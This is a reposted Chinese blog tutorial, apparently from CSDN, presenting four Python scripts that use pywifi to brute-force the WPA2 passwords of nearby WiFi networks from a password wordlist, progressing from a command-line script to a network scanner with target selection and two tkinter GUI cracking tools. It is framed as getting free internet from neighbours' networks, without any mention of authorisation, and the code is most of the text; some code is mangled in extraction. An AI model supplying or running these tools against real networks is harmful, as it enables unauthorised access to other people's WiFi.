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python攻防-破解附近局域网WIFI密码实现上网自由

转载 作者:qq735679552 更新时间:2022-09-27 22:32:09 31 4
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无图形界面

先来看看没有图形界面版的爆破脚本.

wifi爆破

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import pywifi
from pywifi import const
import time
import datetime
# 测试连接,返回链接结果
def wificonnect(pwd):
     # 抓取网卡接口
     wifi = pywifi.pywifi()
     # 获取第一个无线网卡
     ifaces = wifi.interfaces()[ 0 ]
     # 断开所有连接
     ifaces.disconnect()
     time.sleep( 1 )
     wifistatus = ifaces.status()
     if wifistatus = = const.iface_disconnected:
         # 创建wifi连接文件
         profile = pywifi.profile()
         # 要连接wifi的名称
         profile.ssid = "tr0e"
         # 网卡的开放状态
         profile.auth = const.auth_alg_open
         # wifi加密算法,一般wifi加密算法为wps
         profile.akm.append(const.akm_type_wpa2psk)
         # 加密单元
         profile.cipher = const.cipher_type_ccmp
         # 调用密码
         profile.key = pwd
         # 删除所有连接过的wifi文件
         ifaces.remove_all_network_profiles()
         # 设定新的连接文件
         tep_profile = ifaces.add_network_profile(profile)
         ifaces.connect(tep_profile)
         # wifi连接时间
         time.sleep( 2 )
         if ifaces.status() = = const.iface_connected:
             return true
         else :
             return false
     else :
         print ( "已有wifi连接" )
 
# 读取密码本
def readpassword():
     success = false
     print ( "****************** wifi破解 ******************" )
     # 密码本路径
     path = "pwd.txt"
     # 打开文件
     file = open (path, "r" )
     start = datetime.datetime.now()
     while true:
         try :
             pwd = file .readline()
             # 去除密码的末尾换行符
             pwd = pwd.strip( '\n' )
             bool = wificonnect(pwd)
             if bool :
                 print ( "[*] 密码已破解:" , pwd)
                 print ( "[*] wifi已自动连接!!!" )
                 success = true
                 break
             else :
                 # 跳出当前循环,进行下一次循环
                 print ( "正在破解 ssid 为 %s 的 wifi密码,当前校验的密码为:%s" % ( "tr0e" ,pwd))
         except :
             continue
     end = datetime.datetime.now()
     if (success):
         print ( "[*] 本次破解wifi密码一共用了多长时间:{}" . format (end - start))
     else :
         print ( "[*] 很遗憾未能帮你破解出当前指定wifi的密码,请更换密码字典后重新尝试!" )
     exit( 0 )
if __name__ = = "__main__" :
     readpassword()

代码运行效果:

python攻防-破解附近局域网WIFI密码实现上网自由

脚本优化

以上脚本需内嵌 wifi 名、爆破字典路径,缺少灵活性。下面进行改造优化:

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import pywifi
import time
from pywifi import const
# wifi扫描模块
def wifi_scan():
     # 初始化wifi
     wifi = pywifi.pywifi()
     # 使用第一个无线网卡
     interface = wifi.interfaces()[ 0 ]
     # 开始扫描
     interface.scan()
     for i in range ( 4 ):
         time.sleep( 1 )
         print ( '\r扫描可用 wifi 中,请稍后。。。(' + str ( 3 - i), end = ')' )
     print ( '\r扫描完成!\n' + '-' * 38 )
     print ( '\r{:4}{:6}{}' . format ( '编号' , '信号强度' , 'wifi名' ))
     # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象
     bss = interface.scan_results()
     # 存放wifi名的集合
     wifi_name_set = set ()
     for w in bss:
         # 解决乱码问题
         wifi_name_and_signal = ( 100 + w.signal, w.ssid.encode( 'raw_unicode_escape' ).decode( 'utf-8' ))
         wifi_name_set.add(wifi_name_and_signal)
     # 存入列表并按信号排序
     wifi_name_list = list (wifi_name_set)
     wifi_name_list = sorted (wifi_name_list, key = lambda a: a[ 0 ], reverse = true)
     num = 0
     # 格式化输出
     while num < len (wifi_name_list):
         print ( '\r{:<6d}{:<8d}{}' . format (num, wifi_name_list[num][ 0 ], wifi_name_list[num][ 1 ]))
         num + = 1
     print ( '-' * 38 )
     # 返回wifi列表
     return wifi_name_list
# wifi破解模块
def wifi_password_crack(wifi_name):
     # 字典路径
     wifi_dic_path = input ( "请输入本地用于wifi暴力破解的密码字典(txt格式,每个密码占据1行)的路径:" )
     with open (wifi_dic_path, 'r' ) as f:
         # 遍历密码
         for pwd in f:
             # 去除密码的末尾换行符
             pwd = pwd.strip( '\n' )
             # 创建wifi对象
             wifi = pywifi.pywifi()
             # 创建网卡对象,为第一个wifi网卡
             interface = wifi.interfaces()[ 0 ]
             # 断开所有wifi连接
             interface.disconnect()
             # 等待其断开
             while interface.status() = = 4 :
                 # 当其处于连接状态时,利用循环等待其断开
                 pass
             # 创建连接文件(对象)
             profile = pywifi.profile()
             # wifi名称
             profile.ssid = wifi_name
             # 需要认证
             profile.auth = const.auth_alg_open
             # wifi默认加密算法
             profile.akm.append(const.akm_type_wpa2psk)
             profile.cipher = const.cipher_type_ccmp
             # wifi密码
             profile.key = pwd
             # 删除所有wifi连接文件
             interface.remove_all_network_profiles()
             # 设置新的wifi连接文件
             tmp_profile = interface.add_network_profile(profile)
             # 开始尝试连接
             interface.connect(tmp_profile)
             start_time = time.time()
             while time.time() - start_time < 1.5 :
                 # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)
                 if interface.status() = = 4 :
                     print (f '\r连接成功!密码为:{pwd}' )
                     exit( 0 )
                 else :
                     print (f '\r正在利用密码 {pwd} 尝试破解。' , end = '')
# 主函数
def main():
     # 退出标致
     exit_flag = 0
     # 目标编号
     target_num = - 1
     while not exit_flag:
         try :
             print ( 'wifi万能钥匙' .center( 35 , '-' ))
             # 调用扫描模块,返回一个排序后的wifi列表
             wifi_list = wifi_scan()
             # 让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理
             choose_exit_flag = 0
             while not choose_exit_flag:
                 try :
                     target_num = int ( input ( '请选择你要尝试破解的wifi:' ))
                     # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入
                     if target_num in range ( len (wifi_list)):
                         # 二次确认
                         while not choose_exit_flag:
                             try :
                                 choose = str ( input (f '你选择要破解的wifi名称是:{wifi_list[target_num][1]},确定吗?(y/n)' ))
                                 # 对用户输入进行小写处理,并判断
                                 if choose.lower() = = 'y' :
                                     choose_exit_flag = 1
                                 elif choose.lower() = = 'n' :
                                     break
                                 # 处理用户其它字母输入
                                 else :
                                     print ( '只能输入 y/n 哦o(* ̄︶ ̄*)o' )
                             # 处理用户非字母输入
                             except valueerror:
                                 print ( '只能输入 y/n 哦o(* ̄︶ ̄*)o' )
                         # 退出破解
                         if choose_exit_flag = = 1 :
                             break
                         else :
                             print ( '请重新输入哦(*^▽^*)' )
                 except valueerror:
                     print ( '只能输入数字哦o(* ̄︶ ̄*)o' )
             # 密码破解,传入用户选择的wifi名称
             wifi_password_crack(wifi_list[target_num][ 1 ])
             print ( '-' * 38 )
             exit_flag = 1
         except exception as e:
             print (e)
             raise e
if __name__ = = '__main__' :
     main()

脚本运行效果如下:

python攻防-破解附近局域网WIFI密码实现上网自由

上述代码实现了 。

  • 依据信号强度枚举当前附近的所有 wifi 名称,
  • 并且可供用户自主选择需要暴力破解的 wifi,
  • 同时还可灵活指定暴力破解的字典,

相对而言体验感提升了不少。进一步也可以将上述脚本打包生成 exe 文件,双击运行效果如下:

python攻防-破解附近局域网WIFI密码实现上网自由

图形化界面

下面基于 python 的 gui 图形界面开发库 tkinter 优化上述脚本,实现友好的可视化 wifi 暴力破解界面工具.

简单版ui

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from tkinter import *
from pywifi import const
import pywifi
import time
# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间
def wificonnect( str , wifiname):
     # 窗口无线对象
     wifi = pywifi.pywifi()
     # 抓取第一个无线网卡
     ifaces = wifi.interfaces()[ 0 ]
     # 断开所有的wifi
     ifaces.disconnect()
     time.sleep( 1 )
     if ifaces.status() = = const.iface_disconnected:
         # 创建wifi连接文件
         profile = pywifi.profile()
         profile.ssid = wifiname
         # wifi的加密算法
         profile.akm.append(const.akm_type_wpa2psk)
         # wifi的密码
         profile.key = str
         # 网卡的开发
         profile.auth = const.auth_alg_open
         # 加密单元,这里需要写点加密单元否则无法连接
         profile.cipher = const.cipher_type_ccmp
         # 删除所有的wifi文件
         ifaces.remove_all_network_profiles()
         # 设置新的连接文件
         tep_profile = ifaces.add_network_profile(profile)
         # 连接
         ifaces.connect(tep_profile)
         time.sleep( 3 )
         if ifaces.status() = = const.iface_connected:
             return true
         else :
             return false
def readpwd():
     # 获取wiif名称
     wifiname = entry.get().strip()
     path = r './pwd.txt'
     file = open (path, 'r' )
     while true:
         try :
             # 读取
             mystr = file .readline().strip()
             # 测试连接
             bool = wificonnect(mystr, wifiname)
             if bool :
                 text.insert(end, '密码正确' + mystr)
                 text.see(end)
                 text.update()
                 file .close()
                 break
             else :
                 text.insert(end, '密码错误' + mystr)
                 text.see(end)
                 text.update()
         except :
             continue
# 创建窗口
root = tk()
root.title( 'wifi破解' )
root.geometry( '500x400' )
# 标签
label = label(root, text = '输入要破解的wifi名称:' )
# 定位
label.grid()
# 输入控件
entry = entry(root, font = ( '微软雅黑' , 14 ))
entry.grid(row = 0 , column = 1 )
# 列表控件
text = listbox(root, font = ( '微软雅黑' , 14 ), width = 40 , height = 10 )
text.grid(row = 1 , columnspan = 2 )
# 按钮
button = button(root, text = '开始破解' , width = 20 , height = 2 , command = readpwd)
button.grid(row = 2 , columnspan = 2 )
# 显示窗口
root.mainloop()

脚本运行效果:

python攻防-破解附近局域网WIFI密码实现上网自由

ui升级版

以上图形界面未允许选择密码字典,下面进行优化升级:

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from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # 在gui中打开文件浏览
import tkinter.messagebox  # 打开tkiner的消息提醒框
class my_gui():
     def __init__( self , init_window_name):
         self .init_window_name = init_window_name
         # 密码文件路径
         self .get_value = stringvar()  # 设置可变内容
         # 获取破解wifi账号
         self .get_wifi_value = stringvar()
         # 获取wifi密码
         self .get_wifimm_value = stringvar()
         # 抓取网卡接口
         self .wifi = pywifi.pywifi()
         # 抓取第一个无线网卡
         self .iface = self .wifi.interfaces()[ 0 ]
         # 测试链接断开所有链接
         self .iface.disconnect()
         time.sleep( 1 # 休眠1秒
         # 测试网卡是否属于断开状态
         assert self .iface.status() in \
                [const.iface_disconnected, const.iface_inactive]
     def __str__( self ):
         # 自动会调用的函数,返回自身的网卡
         return '(wifi:%s,%s)' % ( self .wifi, self .iface.name())
     # 设置窗口
     def set_init_window( self ):
         self .init_window_name.title( "wifi破解工具" )
         self .init_window_name.geometry( '+500+200' )
         labelframe = labelframe(width = 400 , height = 200 , text = "配置" # 框架,以下对象都是对于labelframe中添加的
         labelframe.grid(column = 0 , row = 0 , padx = 10 , pady = 10 )
         self .search = button(labelframe, text = "搜索附近wifi" , command = self .scans_wifi_list).grid(column = 0 , row = 0 )
         self .pojie = button(labelframe, text = "开始破解" , command = self .readpassword).grid(column = 1 , row = 0 )
         self .label = label(labelframe, text = "目录路径:" ).grid(column = 0 , row = 1 )
         self .path = entry(labelframe, width = 12 , textvariable = self .get_value).grid(column = 1 , row = 1 )
         self . file = button(labelframe, text = "添加密码文件目录" , command = self .add_mm_file).grid(column = 2 , row = 1 )
         self .wifi_text = label(labelframe, text = "wifi账号:" ).grid(column = 0 , row = 2 )
         self .wifi_input = entry(labelframe, width = 12 , textvariable = self .get_wifi_value).grid(column = 1 , row = 2 )
         self .wifi_mm_text = label(labelframe, text = "wifi密码:" ).grid(column = 2 , row = 2 )
         self .wifi_mm_input = entry(labelframe, width = 10 , textvariable = self .get_wifimm_value).grid(column = 3 , row = 2 ,sticky = w)
         self .wifi_labelframe = labelframe(text = "wifi列表" )
         self .wifi_labelframe.grid(column = 0 , row = 3 , columnspan = 4 , sticky = nsew)
         # 定义树形结构与滚动条
         self .wifi_tree = ttk.treeview( self .wifi_labelframe, show = "headings" , columns = ( "a" , "b" , "c" , "d" ))
         self .vbar = ttk.scrollbar( self .wifi_labelframe, orient = vertical, command = self .wifi_tree.yview)
         self .wifi_tree.configure(yscrollcommand = self .vbar. set )
         # 表格的标题
         self .wifi_tree.column( "a" , width = 50 , anchor = "center" )
         self .wifi_tree.column( "b" , width = 100 , anchor = "center" )
         self .wifi_tree.column( "c" , width = 100 , anchor = "center" )
         self .wifi_tree.column( "d" , width = 100 , anchor = "center" )
         self .wifi_tree.heading( "a" , text = "wifiid" )
         self .wifi_tree.heading( "b" , text = "ssid" )
         self .wifi_tree.heading( "c" , text = "bssid" )
         self .wifi_tree.heading( "d" , text = "signal" )
         self .wifi_tree.grid(row = 4 , column = 0 , sticky = nsew)
         self .wifi_tree.bind( "<double-1>" , self .ondbclick)
         self .vbar.grid(row = 4 , column = 1 , sticky = ns)
     # 搜索wifi
     def scans_wifi_list( self ):  # 扫描周围wifi列表
         # 开始扫描
         print ( "^_^ 开始扫描附近wifi..." )
         self .iface.scan()
         time.sleep( 15 )
         # 在若干秒后获取扫描结果
         scanres = self .iface.scan_results()
         # 统计附近被发现的热点数量
         nums = len (scanres)
         print ( "数量: %s" % (nums))
         # 实际数据
         self .show_scans_wifi_list(scanres)
         return scanres
     # 显示wifi列表
     def show_scans_wifi_list( self , scans_res):
         for index, wifi_info in enumerate (scans_res):
             self .wifi_tree.insert("", 'end' , values = (index + 1 , wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
     # 添加密码文件目录
     def add_mm_file( self ):
         self .filename = tkinter.filedialog.askopenfilename()
         self .get_value. set ( self .filename)
     # treeview绑定事件
     def ondbclick( self , event):
         self .sels = event.widget.selection()
         self .get_wifi_value. set ( self .wifi_tree.item( self .sels, "values" )[ 1 ])
     # 读取密码字典,进行匹配
     def readpassword( self ):
         self .getfilepath = self .get_value.get()
         self .get_wifissid = self .get_wifi_value.get()
         pwdfilehander = open ( self .getfilepath, "r" , errors = "ignore" )
         while true:
             try :
                 self .pwdstr = pwdfilehander.readline()
                 if not self .pwdstr:
                     break
                 self .bool1 = self .connect( self .pwdstr, self .get_wifissid)
                 if self .bool1:
                     self .res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % ( self .get_wifissid, self .pwdstr)
                     self .get_wifimm_value. set ( self .pwdstr)
                     tkinter.messagebox.showinfo( '提示' , '破解成功!!!' )
                     print ( self .res)
                     break
                 else :
                     self .res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % ( self .get_wifissid, self .pwdstr)
                     print ( self .res)
                 time.sleep( 3 )
             except :
                 continue
     # 对wifi和密码进行匹配
     def connect( self , pwd_str, wifi_ssid):
         # 创建wifi链接文件
         self .profile = pywifi.profile()
         self .profile.ssid = wifi_ssid  # wifi名称
         self .profile.auth = const.auth_alg_open  # 网卡的开放
         self .profile.akm.append(const.akm_type_wpa2psk)  # wifi加密算法
         self .profile.cipher = const.cipher_type_ccmp  # 加密单元
         self .profile.key = pwd_str  # 密码
         self .iface.remove_all_network_profiles()  # 删除所有的wifi文件
         self .tmp_profile = self .iface.add_network_profile( self .profile)  # 设定新的链接文件
         self .iface.connect( self .tmp_profile)  # 链接
         time.sleep( 5 )
         if self .iface.status() = = const.iface_connected:  # 判断是否连接上
             isok = true
         else :
             isok = false
         self .iface.disconnect()  # 断开
         time.sleep( 1 )
         # 检查断开状态
         assert self .iface.status() in \
                [const.iface_disconnected, const.iface_inactive]
         return isok
def gui_start():
     init_window = tk()
     ui = my_gui(init_window)
     print (ui)
     ui.set_init_window()
     init_window.mainloop()
if __name__ = = "__main__" :
     gui_start()

脚本运行效果如下:

python攻防-破解附近局域网WIFI密码实现上网自由

所演示的代码的不足在于均没有使用多线程进行 wifi 连接测试,实际上因为 wifi 连接测试需要一定的耗时(3-5秒),故使用多线程将能减少暴力破解过程的等待时间.

本文学习了 python 暴力破解 wifi 密码的方法、以及 python gui 图形化编程的基础使用。以上基于 python 的 gui 图形界面开发库 tkinter,实际上 python 的 gui 编程可以借助 pyqt5 来自动生成 ui 代码。教程资料请关注我其它相关文章! 。

原文链接:https://blog.csdn.net/weixin_39190897/article/details/119778471 。

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